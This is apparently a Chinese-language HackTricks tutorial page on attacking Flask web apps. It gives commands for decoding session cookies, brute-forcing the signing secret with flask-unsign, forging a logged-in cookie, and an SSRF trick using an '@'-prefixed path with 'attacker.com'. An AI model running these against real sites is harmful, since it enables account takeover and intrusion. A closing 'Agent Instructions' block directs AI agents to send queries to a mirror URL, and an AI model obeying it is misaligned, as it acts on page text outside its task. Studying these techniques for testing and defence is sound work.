# Flask

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/QvA5K96NAkclwNyMk9l3" alt=""><figcaption></figcaption></figure>

使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进的**社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

**如果您在玩CTF游戏，Flask应用程序可能与** [**SSTI**](/pentesting-web/ssti-server-side-template-injection.md)**相关。**

## Cookies

默认cookie会话名称为\*\*`session`\*\*。

### 解码器

在线Flask cookie解码器：<https://www.kirsle.net/wizards/flask-session.cgi>

#### 手动

获取cookie的第一部分直到第一个点，并对其进行Base64解码>

```bash
echo "ImhlbGxvIg" | base64 -d
```

### **Flask-Unsign**

使用密码对cookie进行签名

命令行工具，通过猜测秘钥来获取、解码、暴力破解和构建Flask应用程序的会话cookie。

{% embed url="<https://pypi.org/project/flask-unsign/>" %}

```bash
pip3 install flask-unsign
```

#### **解码 Cookie**

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```

#### **暴力破解**

```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```

#### **签名**

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```

#### 使用传统（旧版本）进行签名

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

### **RIPsession**

用于使用使用flask-unsign制作的cookie对网站进行暴力破解的命令行工具。

{% embed url="<https://github.com/Tagvi/ripsession>" %}

```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

### 使用 SQLmap 在 Flask 会话 cookie 中进行 SQLi

[**此示例**](/pentesting-web/sql-injection/sqlmap.md#eval) 使用 sqlmap 的 `eval` 选项，**使用已知密钥自动签署 sqlmap 负载**，用于针对 Flask 进行攻击。

## Flask 代理到 SSRF

[**在这篇文章中**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 解释了 Flask 如何允许以字符 "@" 开头的请求：

```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```

在以下情况中：

```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```

可以允许引入类似"@attacker.com"的内容，以引发**SSRF**。

<figure><img src="/files/QvA5K96NAkclwNyMk9l3" alt=""><figcaption></figcaption></figure>

使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/flask.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
